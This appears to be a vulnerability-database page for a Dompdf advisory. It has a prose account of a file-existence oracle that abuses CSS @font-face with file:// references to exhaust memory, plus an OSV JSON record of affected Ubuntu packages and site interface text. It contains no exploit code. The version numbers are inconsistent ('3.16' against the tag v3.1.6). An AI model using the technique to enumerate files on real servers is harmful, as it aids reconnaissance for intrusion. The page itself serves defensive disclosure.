Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an "Allowed memory size exhausted" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf's memory limit is low enough to be exhausted (with $_dompdf_show_warnings=true making the overflow easier to reach). This issue has been fixed in version 3.16.
Severity
7.5 (High)
N/A (UNKNOWN)
References
{
"affected": [
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "php-dompdf",
"binary_version": "0.6.1+dfsg-2ubuntu1+esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:16.04:LTS",
"name": "php-dompdf",
"purl": "pkg:deb/ubuntu/php-dompdf@0.6.1+dfsg-2ubuntu1+esm1?arch=source\u0026distro=esm-apps/xenial"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.1+dfsg-2",
"0.6.1+dfsg-2build1",
"0.6.1+dfsg-2ubuntu1",
"0.6.1+dfsg-2ubuntu1+esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "php-dompdf",
"binary_version": "0.6.2+dfsg-3ubuntu0.18.04.1~esm1"
}
]
},
"package": {
"ecosystem": "Ubuntu:Pro:18.04:LTS",
"name": "php-dompdf",
"purl": "pkg:deb/ubuntu/php-dompdf@0.6.2+dfsg-3ubuntu0.18.04.1~esm1?arch=source\u0026distro=esm-apps/bionic"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.2+dfsg-3",
"0.6.2+dfsg-3ubuntu0.18.04.1~esm1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "php-dompdf",
"binary_version": "0.6.2+dfsg-3ubuntu0.20.04.1"
}
]
},
"package": {
"ecosystem": "Ubuntu:20.04:LTS",
"name": "php-dompdf",
"purl": "pkg:deb/ubuntu/php-dompdf@0.6.2+dfsg-3ubuntu0.20.04.1?arch=source\u0026distro=focal"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.2+dfsg-3",
"0.6.2+dfsg-3ubuntu0.20.04.1"
]
},
{
"ecosystem_specific": {
"binaries": [
{
"binary_name": "php-dompdf",
"binary_version": "0.6.2+dfsg-3.1ubuntu0.1"
}
]
},
"package": {
"ecosystem": "Ubuntu:22.04:LTS",
"name": "php-dompdf",
"purl": "pkg:deb/ubuntu/php-dompdf@0.6.2+dfsg-3.1ubuntu0.1?arch=source\u0026distro=jammy"
},
"ranges": [
{
"events": [
{
"introduced": "0"
}
],
"type": "ECOSYSTEM"
}
],
"versions": [
"0.6.2+dfsg-3.1",
"0.6.2+dfsg-3.1ubuntu0.1"
]
}
],
"aliases": [],
"details": "Dompdf is an HTML to PDF converter for PHP. Versions 3.15 and prior are vulnerable to a File Existence Oracle attack through the manipulation of the CSS @font-face directive. By providing malicious HTML that references local files via the file:// protocol repeatedly, an attacker can trigger PHP memory exhaustion. Because Dompdf behaves differently depending on whether a referenced local file exists (an existing file is processed repeatedly until it triggers an \"Allowed memory size exhausted\" crash, whereas a missing file fails fast or is ignored and never hits the memory limit), an attacker can use this observable discrepancy as an oracle to enumerate sensitive files on the server regardless of CHROOT restrictions. Exploitation requires the attacker to supply unrestricted or unsanitized HTML in a request that permits large data, plus a configuration where Dompdf\u0027s memory limit is low enough to be exhausted (with \u00a0$_dompdf_show_warnings=true\u00a0 making the overflow easier to reach). This issue has been fixed in version 3.16.",
"id": "UBUNTU-CVE-2026-55555",
"modified": "2026-08-06T19:59:15Z",
"published": "2026-07-28T20:17:00Z",
"references": [
{
"type": "REPORT",
"url": "https://ubuntu.com/security/CVE-2026-55555"
},
{
"type": "REPORT",
"url": "https://www.cve.org/CVERecord?id=CVE-2026-55555"
},
{
"type": "REPORT",
"url": "https://github.com/dompdf/dompdf/security/advisories/GHSA-7x2p-4jvh-6384"
},
{
"type": "REPORT",
"url": "https://github.com/dompdf/dompdf/commit/75c39a083bf7298044fb27399b4cc183054438b4"
},
{
"type": "REPORT",
"url": "https://github.com/dompdf/dompdf/releases/tag/v3.1.6"
}
],
"related": [],
"schema_version": "1.7.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
},
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "medium",
"type": "Ubuntu"
}
],
"upstream": [
"CVE-2026-55555"
]
}
Loading…
Loading…
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
Loading…
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Loading…
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.